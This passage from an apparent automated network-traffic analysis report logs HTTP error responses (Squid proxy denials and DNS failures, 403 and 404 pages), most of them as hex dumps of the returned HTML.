65 20 72 65 74 72 69 65 76 65 64 3c 2f 68 31 3e 0a 3c 2f 64 69 76 3e 0a 0a 3c 64 69 76 20 69 64 3d 22 63 6f 6e 74 65 6e 74 22 3e 0a 3c 70 3e 41 63 63 65 73 73 20 74 6f 20 74 68 65 20 77 65 62 20 70 61 67 65 20 68 61 73 20 62 65 65 6e 20 62 6c 6f 63 6b 65 64 20 69 6e 20 61 63 63 6f 72 64 61 6e 63 65 20 77 69 74 68 20 74 68 65 20 6e 65 74 77 6f 72 6b 20 70 6f 6c 69 63 79 2e 20 49 66 20 79 6f 75 20 62 65 6c 69 65 76 65 20 74 68 69 73 20 69 73 20 61 6e 20 65 72 72 6f 72 2c 20 70 6c 65 61 73 65 20 63 6f 6e 74 61 63 74 20 79 6f 75 20 73 79 73 74 65 6d 20 61 64 6d 69 6e 69 73 74 72 61 74 6f 72 2e 3c 2f 70 3e 0a 3c 70 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 37 31 39 32 62 34 3b 22 3e 55 52 4c 3a 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 68 65 79 67 69 72 6c 69 73 68 65 65 76 65 72 79 74 68 69 6e 67 79 6f 75 77 61 6e 74 65 64 69 6e 61 6d 61 6e 2e 63 6f 6d 2f 2a 22 3e 68 74 74 70 73 3a 2f 2f 68 65 79 67 69 72 6c 69 73 68 65 65 76 65 72 79 74 68 69 6e 67 79 6f 75 77 61 6e 74 65 64 69 6e 61 6d 61 6e 2e 63 6f 6d 2f 2a 3c 2f 61 3e 3c 2f 70 3e 0a 3c 70 20 73 74 79 6c 65 3d 22 63 6f 6c 6f 72 3a 20 23 37 31 39 32 62 34 3b 22 3e 43 61 74 65 67 6f 72 79 3a 20 3c 2f 70 3e 0a 3c 62 72 3e 0a 3c 2f 64 69 76 3e 0a 0a 3c 64 69 76 20 69 6
Source: global traffic	HTTP traffic detected: HTTP/1.1 503 Service UnavailableServer: squid/4.6Mime-Version: 1.0Date: Fri, 23 Feb 2024 13:28:31 GMTContent-Type: text/html;charset=utf-8Content-Length: 3702X-Squid-Error: ERR_DNS_FAIL 0Vary: Accept-LanguageContent-Language: enData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 74 79 70 65 3d 22 63 6f 70 79 72 69 67 68 74 22 20 63 6f 6e 74 65 6e 74 3d 22 43 6f 70 79 72 69 67 68 74 20 28 43 29 20 31 39 39 36 2d 32 30 31 38 20 54 68 65 20 53 71 75 69 64 20 53 6f 66 74 77 61 72 65 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 22 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0a 3c 74 69 74 6c 65 3e 45 52 52 4f 52 3a 20 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 63 6f 75 6c 64 20 6e 6f 74 20 62 65 20 72 65 74 72 69 65 76 65 64 3c 2f 74 69 74 6c 65 3e 0a 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 3c 21 2d 2d 20 0a 20 2f 2a 0a 20 2a 20 43 6f 70 79 72 69 67 68 74 20 28 43 29 20 31 39 39 36 2d 32 30 31 39 20 54 68 65 20 53 71 75 69 64 20 53 6f 66 74 77 61 72 65 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 0a 20 2a 0a 20 2a 20 53 71 75 69 64 20 73 6f 66 74 77 61 72 65 20 69 73 20 64 69 73 74 72 69 62 75 74 65 64 20 75 6e 64 65 72 20 47 50 4c 76 32 2b 20 6c 69 63 65 6e 73 65 20 61 6e 64 20 69 6e 63 6c 75 64 65 73 0a 20 2a 20 63 6f 6e 74 72 69 62 75 74 69 6f 6e 73 20 66 72 6f 6d 20 6e 75 6d 65 72 6f 75 73 20 69 6e 64 69 76 69 64 75 61 6c 73 20 61 6e 64 20 6f 72 67 61 6e 69 7a 61 74 69 6f 6e 73 2e 0a 20 2a 20 50 6c 65 61 73 65 20 73 65 65 20 74 68 65 20 43 4f 50 59 49 4e 47 20 61 6e 64 20 43 4f 4e 54 52 49 42 55 54 4f 52 53 20 66 69 6c 65 73 20 66 6f 72 20 64 65 74 61 69 6c 73 2e 0a 20 2a 2f 0a 0a 2f 2a 0a 20 53 74 79 6c 65 73 68 65 65 74 20 66 6f 72 20 53 71 75 69 64 20 45 72 72 6f 72 20 70 61 67 65 73 0a 20 41 64 61 70 74 65 64 20 66 72 6f 6d 20 64 65 73 69 67 6e 20 62 79 20 46 72 65 65 20 43 53 53 20 54 65 6d 70 6c 61 74 65 73 0a 20 68 74 74 70 3a 2f 2f 77 77 77 2e 66 72 65 65 63 73 73 74 65 6d 70 6c 61 74 65 73 2e 6f 72 67 0a 20 52 65 6c 65 61 73 65 64 20 66 6f 72 20 66 72 65 65 20 75 6e 64 65 72 20 61 20 43 72 65 61 74 69 76 65 20 43 6f 6d 6d 6f 6e 73 20 41 74 74 72 69 62 75 74 69 6f 6e 20 32 2e 35 20 4c 69 63 65 6e 73 65 0a 2a 2f 0a 0a 2f 2a 20 50 61 67 65 20 62 61 73 69 63 73 20 2a 2f 0a 2a 20 7b 0a 09 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 76 65 72 64 61 6e 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 0a 7d 0a 0a 68 74 6d 6c 20 62 6f 64 79 20 7b 0a 09 6d 61 72 67 69 6e 3a 20 30 3b 0a
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: squidMime-Version: 1.0Date: Fri, 23 Feb 2024 13:28:32 GMTContent-Type: text/html;charset=utf-8Content-Length: 17X-Squid-Error: ERR_ACCESS_DENIED 0X-Cache: MISS from cdn-fintech.infoX-Cache-Lookup: NONE from cdn-fintech.info:8123Connection: keep-aliveData Raw: 45 52 52 5f 41 43 43 45 53 53 5f 44 45 4e 49 45 44 Data Ascii: ERR_ACCESS_DENIED
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: squidMime-Version: 1.0Date: Fri, 23 Feb 2024 13:28:34 GMTContent-Type: text/html;charset=utf-8Content-Length: 17X-Squid-Error: ERR_ACCESS_DENIED 0X-Cache: MISS from cdn-fintech.infoX-Cache-Lookup: NONE from cdn-fintech.info:8123Connection: keep-aliveData Raw: 45 52 52 5f 41 43 43 45 53 53 5f 44 45 4e 49 45 44 Data Ascii: ERR_ACCESS_DENIED
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: squid/5.7Mime-Version: 1.0Date: Fri, 23 Feb 2024 13:28:35 GMTContent-Type: text/html;charset=utf-8Content-Length: 3532X-Squid-Error: ERR_ACCESS_DENIED 0Vary: Accept-LanguageContent-Language: enX-Cache: MISS from lb1X-Cache-Lookup: NONE from lb1:3128Via: 1.1 lb1 (squid/5.7)Connection: closeData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 74 79 70 65 3d 22 63 6f 70 79 72 69 67 68 74 22 20 63 6f 6e 74 65 6e 74 3d 22 43 6f 70 79 72 69 67 68 74 20 28 43 29 20 31 39 39 36 2d 32 30 32 30 20 54 68 65 20 53 71 75 69 64 20 53 6f 66 74 77 61 72 65 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 22 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0a 3c 74 69 74 6c 65 3e 45 52 52 4f 52 3a 20 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 63 6f 75 6c 64 20 6e 6f 74 20 62 65 20 72 65 74 72 69 65 76 65 64 3c 2f 74 69 74 6c 65 3e 0a 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 3c 21 2d 2d 0a 20 2f 2a 0a 20 2a 20 43 6f 70 79 72 69 67 68 74 20 28 43 29 20 31 39 39 36 2d 32 30 32 32 20 54 68 65 20 53 71 75 69 64 20 53 6f 66 74 77 61 72 65 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 0a 20 2a 0a 20 2a 20 53 71 75 69 64 20 73 6f 66 74 77 61 72 65 20 69 73 20 64 69 73 74 72 69 62 75 74 65 64 20 75 6e 64 65 72 20 47 50 4c 76 32 2b 20 6c 69 63 65 6e 73 65 20 61 6e 64 20 69 6e 63 6c 75 64 65 73 0a 20 2a 20 63 6f 6e 74 72 69 62 75 74 69 6f 6e 73 20 66 72 6f 6d 20 6e 75 6d 65 72 6f 75 73 20 69 6e 64 69 76 69 64 75 61 6c 73 20 61 6e 64 20 6f 72 67 61 6e 69 7a 61 74 69 6f 6e 73 2e 0a 20 2a 20 50 6c 65 61 73 65 20 73 65 65 20 74 68 65 20 43 4f 50 59 49 4e 47 20 61 6e 64 20 43 4f 4e 54 52 49 42 55 54 4f 52 53 20 66 69 6c 65 73 20 66 6f 72 20 64 65 74 61 69 6c 73 2e 0a 20 2a 2f 0a 0a 2f 2a 0a 20 53 74 79 6c 65 73 68 65 65 74 20 66 6f 72 20 53 71 75 69 64 20 45 72 72 6f 72 20 70 61 67 65 73 0a 20 41 64 61 70 74 65 64 20 66 72 6f 6d 20 64 65 73 69 67 6e 20 62 79 20 46 72 65 65 20 43 53 53 20 54 65 6d 70 6c 61 74 65 73 0a 20 68 74 74 70 3a 2f 2f 77 77 77 2e 66 72 65 65 63 73 73 74 65 6d 70 6c 61 74 65 73 2e 6f 72 67 0a 20 52 65 6c 65 61 73 65 64 20 66 6f 72 20 66 72 65 65 20 75 6e 64 65 72 20 61 20 43 72 65 61 74 69 76 65 20 43 6f 6d 6d 6f 6e 73 20 41 74 74 72 69 62 75 74 69 6f 6e 20 32 2e 35 20 4c 69 63 65 6e 73 65 0a 2a 2f 0a 0a 2f 2a 20 50 61 67 65 20 62 61 73 69 63 73 20 2a 2f 0a 2a 20 7b 0a 09 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 76 65 72 64 61 6e 61 2c 20 73 61 6e 73 2d 73 6
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: squidMime-Version: 1.0Date: Fri, 23 Feb 2024 13:28:37 GMTContent-Type: text/html;charset=utf-8Content-Length: 17X-Squid-Error: ERR_ACCESS_DENIED 0X-Cache: MISS from cdn-fintech.infoX-Cache-Lookup: NONE from cdn-fintech.info:8123Connection: keep-aliveData Raw: 45 52 52 5f 41 43 43 45 53 53 5f 44 45 4e 49 45 44 Data Ascii: ERR_ACCESS_DENIED
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: squidMime-Version: 1.0Date: Fri, 23 Feb 2024 13:28:37 GMTContent-Type: text/html;charset=utf-8Content-Length: 17X-Squid-Error: ERR_ACCESS_DENIED 0X-Cache: MISS from cdn-fintech.infoX-Cache-Lookup: NONE from cdn-fintech.info:8123Connection: keep-aliveData Raw: 45 52 52 5f 41 43 43 45 53 53 5f 44 45 4e 49 45 44 Data Ascii: ERR_ACCESS_DENIED
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: squidMime-Version: 1.0Date: Fri, 23 Feb 2024 13:28:38 GMTContent-Type: text/html;charset=utf-8Content-Length: 17X-Squid-Error: ERR_ACCESS_DENIED 0X-Cache: MISS from cdn-fintech.infoX-Cache-Lookup: NONE from cdn-fintech.info:8123Connection: keep-aliveData Raw: 45 52 52 5f 41 43 43 45 53 53 5f 44 45 4e 49 45 44 Data Ascii: ERR_ACCESS_DENIED
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundContent-Type: text/html; charset=UTF-8Referrer-Policy: no-referrerContent-Length: 1561Date: Fri, 23 Feb 2024 13:28:39 GMTData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 65 6e 3e 0a 20 20 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 0a 20 20 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 0a 20 20 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 0a 20 20 3c 73 74 79 6c 65 3e 0a 20 20 20 20 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b 70 61 64 64 69 6e 67 3a 33 30 70 78 20 30 20 31 35 70 78 7d 2a 20 3e 20 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 65 72 72 6f 72 73 2f 72 6f 62 6f 74 2e 70 6e 67 29 20 31 30 30 25 20 35 70 78 20 6e 6f 2d 72 65 70 65 61 74 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 32 30 35 70 78 7d 70 7b 6d 61 72 67 69 6e 3a 31 31 70 78 20 30 20 32 32 70 78 3b 6f 76 65 72 66 6c 6f 77 3a 68 69 64 64 65 6e 7d 69 6e 73 7b 63 6f 6c 6f 72 3a 23 37 37 37 3b 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 6e 6f 6e 65 7d 61 20 69 6d 67 7b 62 6f 72 64 65 72 3a 30 7d 40 6d 65 64 69 61 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 61 78 2d 77 69 64 74 68 3a 37 37 32 70 78 29 7b 62 6f 64 79 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 6e 6f 6e 65 3b 6d 61 72 67 69 6e 2d 74 6f 70 3a 30 3b 6d 61 78 2d 77 69 64 74 68 3a 6e 6f 6e 65 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 30 7d 7d 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 31 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20 6e 6f 2d 72 65 70 65 61 74 3b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 2d 35 70 78 7d 40 6d 65 64 69 61 20 6f 6e 6c 79 20 73 63 72 65 65 6e 20 61 6e 64 20 28 6d 69 6e 2d 72 65 73 6f 6c 75 74 69 6f 6e 3a 31 39 32 64 70 69 29 7b 23 6c 6f 67 6f 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 75 72 6c 28 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 2f 69 6d 61 67 65 73 2f 62 72 61 6e 64 69 6e 67 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 2f 32 78 2f 67 6f 6f 67 6c 65 6c 6f 67 6f 5f 63 6f 6c 6f 72 5f 31 35 30 78 35 34 64 70 2e 70 6e 67 29 20
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: squid/5.7Mime-Version: 1.0Date: Fri, 23 Feb 2024 13:28:41 GMTContent-Type: text/html;charset=utf-8Content-Length: 3532X-Squid-Error: ERR_ACCESS_DENIED 0Vary: Accept-LanguageContent-Language: enX-Cache: MISS from lb1X-Cache-Lookup: NONE from lb1:3128Via: 1.1 lb1 (squid/5.7)Connection: closeData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 74 79 70 65 3d 22 63 6f 70 79 72 69 67 68 74 22 20 63 6f 6e 74 65 6e 74 3d 22 43 6f 70 79 72 69 67 68 74 20 28 43 29 20 31 39 39 36 2d 32 30 32 30 20 54 68 65 20 53 71 75 69 64 20 53 6f 66 74 77 61 72 65 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 22 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0a 3c 74 69 74 6c 65 3e 45 52 52 4f 52 3a 20 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 63 6f 75 6c 64 20 6e 6f 74 20 62 65 20 72 65 74 72 69 65 76 65 64 3c 2f 74 69 74 6c 65 3e 0a 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 3c 21 2d 2d 0a 20 2f 2a 0a 20 2a 20 43 6f 70 79 72 69 67 68 74 20 28 43 29 20 31 39 39 36 2d 32 30 32 32 20 54 68 65 20 53 71 75 69 64 20 53 6f 66 74 77 61 72 65 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 0a 20 2a 0a 20 2a 20 53 71 75 69 64 20 73 6f 66 74 77 61 72 65 20 69 73 20 64 69 73 74 72 69 62 75 74 65 64 20 75 6e 64 65 72 20 47 50 4c 76 32 2b 20 6c 69 63 65 6e 73 65 20 61 6e 64 20 69 6e 63 6c 75 64 65 73 0a 20 2a 20 63 6f 6e 74 72 69 62 75 74 69 6f 6e 73 20 66 72 6f 6d 20 6e 75 6d 65 72 6f 75 73 20 69 6e 64 69 76 69 64 75 61 6c 73 20 61 6e 64 20 6f 72 67 61 6e 69 7a 61 74 69 6f 6e 73 2e 0a 20 2a 20 50 6c 65 61 73 65 20 73 65 65 20 74 68 65 20 43 4f 50 59 49 4e 47 20 61 6e 64 20 43 4f 4e 54 52 49 42 55 54 4f 52 53 20 66 69 6c 65 73 20 66 6f 72 20 64 65 74 61 69 6c 73 2e 0a 20 2a 2f 0a 0a 2f 2a 0a 20 53 74 79 6c 65 73 68 65 65 74 20 66 6f 72 20 53 71 75 69 64 20 45 72 72 6f 72 20 70 61 67 65 73 0a 20 41 64 61 70 74 65 64 20 66 72 6f 6d 20 64 65 73 69 67 6e 20 62 79 20 46 72 65 65 20 43 53 53 20 54 65 6d 70 6c 61 74 65 73 0a 20 68 74 74 70 3a 2f 2f 77 77 77 2e 66 72 65 65 63 73 73 74 65 6d 70 6c 61 74 65 73 2e 6f 72 67 0a 20 52 65 6c 65 61 73 65 64 20 66 6f 72 20 66 72 65 65 20 75 6e 64 65 72 20 61 20 43 72 65 61 74 69 76 65 20 43 6f 6d 6d 6f 6e 73 20 41 74 74 72 69 62 75 74 69 6f 6e 20 32 2e 35 20 4c 69 63 65 6e 73 65 0a 2a 2f 0a 0a 2f 2a 20 50 61 67 65 20 62 61 73 69 63 73 20 2a 2f 0a 2a 20 7b 0a 09 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 76 65 72 64 61 6e 61 2c 20 73 61 6e 73 2d 73 6
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenServer: squid/5.7Mime-Version: 1.0Date: Fri, 23 Feb 2024 13:28:42 GMTContent-Type: text/html;charset=utf-8Content-Length: 3532X-Squid-Error: ERR_ACCESS_DENIED 0Vary: Accept-LanguageContent-Language: enX-Cache: MISS from lb1X-Cache-Lookup: NONE from lb1:3128Via: 1.1 lb1 (squid/5.7)Connection: closeData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 6d 65 74 61 20 74 79 70 65 3d 22 63 6f 70 79 72 69 67 68 74 22 20 63 6f 6e 74 65 6e 74 3d 22 43 6f 70 79 72 69 67 68 74 20 28 43 29 20 31 39 39 36 2d 32 30 32 30 20 54 68 65 20 53 71 75 69 64 20 53 6f 66 74 77 61 72 65 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 22 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 3e 0a 3c 74 69 74 6c 65 3e 45 52 52 4f 52 3a 20 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 63 6f 75 6c 64 20 6e 6f 74 20 62 65 20 72 65 74 72 69 65 76 65 64 3c 2f 74 69 74 6c 65 3e 0a 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 3c 21 2d 2d 0a 20 2f 2a 0a 20 2a 20 43 6f 70 79 72 69 67 68 74 20 28 43 29 20 31 39 39 36 2d 32 30 32 32 20 54 68 65 20 53 71 75 69 64 20 53 6f 66 74 77 61 72 65 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 0a 20 2a 0a 20 2a 20 53 71 75 69 64 20 73 6f 66 74 77 61 72 65 20 69 73 20 64 69 73 74 72 69 62 75 74 65 64 20 75 6e 64 65 72 20 47 50 4c 76 32 2b 20 6c 69 63 65 6e 73 65 20 61 6e 64 20 69 6e 63 6c 75 64 65 73 0a 20 2a 20 63 6f 6e 74 72 69 62 75 74 69 6f 6e 73 20 66 72 6f 6d 20 6e 75 6d 65 72 6f 75 73 20 69 6e 64 69 76 69 64 75 61 6c 73 20 61 6e 64 20 6f 72 67 61 6e 69 7a 61 74 69 6f 6e 73 2e 0a 20 2a 20 50 6c 65 61 73 65 20 73 65 65 20 74 68 65 20 43 4f 50 59 49 4e 47 20 61 6e 64 20 43 4f 4e 54 52 49 42 55 54 4f 52 53 20 66 69 6c 65 73 20 66 6f 72 20 64 65 74 61 69 6c 73 2e 0a 20 2a 2f 0a 0a 2f 2a 0a 20 53 74 79 6c 65 73 68 65 65 74 20 66 6f 72 20 53 71 75 69 64 20 45 72 72 6f 72 20 70 61 67 65 73 0a 20 41 64 61 70 74 65 64 20 66 72 6f 6d 20 64 65 73 69 67 6e 20 62 79 20 46 72 65 65 20 43 53 53 20 54 65 6d 70 6c 61 74 65 73 0a 20 68 74 74 70 3a 2f 2f 77 77 77 2e 66 72 65 65 63 73 73 74 65 6d 70 6c 61 74 65 73 2e 6f 72 67 0a 20 52 65 6c 65 61 73 65 64 20 66 6f 72 20 66 72 65 65 20 75 6e 64 65 72 20 61 20 43 72 65 61 74 69 76 65 20 43 6f 6d 6d 6f 6e 73 20 41 74 74 72 69 62 75 74 69 6f 6e 20 32 2e 35 20 4c 69 63 65 6e 73 65 0a 2a 2f 0a 0a 2f 2a 20 50 61 67 65 20 62 61 73 69 63 73 20 2a 2f 0a 2a 20 7b 0a 09 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 76 65 72 64 61 6e 61 2c 20 73 61 6e 73 2d 73 6
Source: global traffic	HTTP traffic detected: HTTP/1.1 503 Service Unavailable
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenContent-Type: text/html; charset=utf-8Server: ADM/2.1.1Connection: closeContent-Length: 519<html><head><meta http-equiv="Content-Type" content="textml;charset=GB2312" /><style>body{background-color:#FFFFFF}</style> <title>153</title><script language="javascript" type="text/javascript"> window.onload = function () { document.getElementById("mainFrame").src= "http://114.115.192.246:9080/error.html"; }</script> </head><body><iframe style="width:100%; height:100%;" id="mainFrame" src="" frameborder="0" scrolling="no"/></body></htmlData Raw: Data Ascii:
Source: global traffic	HTTP traffic detected: HTTP/1.1 403 ForbiddenDate: Fri, 23 Feb 2024 13:28:45 GMTServer: Apache/2.4.18 (Ubuntu)Content-Length: 306Content-Type: text/html; charset=iso-8859-1Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 33 20 46 6f 72 62 69 64 64 65 6e 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 46 6f 72 62 69 64 64 65 6e 3c 2f 68 31 3e 0a 3c 70 3e 59 6f 75 20 64 6f 6e 27 74 20 68 61 76 65 20 70 65 72 6d 69 73 73 69 6f 6e 20 74 6f 20 61 63 63 65 73 73 20 74 68 69 73 20 72 65 73 6f 75 72 63 65 2e 3c 2f 70 3e 0a 3c 68 72 3e 0a 3c 61 64 64 72 65 73 73 3e 41 70 61 63 68 65 2f 32 2e 34 2e 31 38 20 28 55 62 75 6e 74 75 29 20 53 65 72 76 65 72 20 61 74 20 68 65 79 67 69 72 6c 69 73 68 65 65 76 65 72 79 74 68 69 6e 67 79 6f 75 77 61 6e 74 65 64 69 6e 61 6d 61 6e 2e 63 6f 6d 20 50 6f 72 74 20 34 34 33 3c 2f 61 64 64 72 65 73 73 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>403 Forbidden</title></head><body><h1>Forbidden</h1><p>You don't have permission to access this resource.</p><hr><address>Apache/2.4.18 (Ubuntu) Server at heygirlisheeverythingyouwantedinaman.com Port 443</address></body></html>
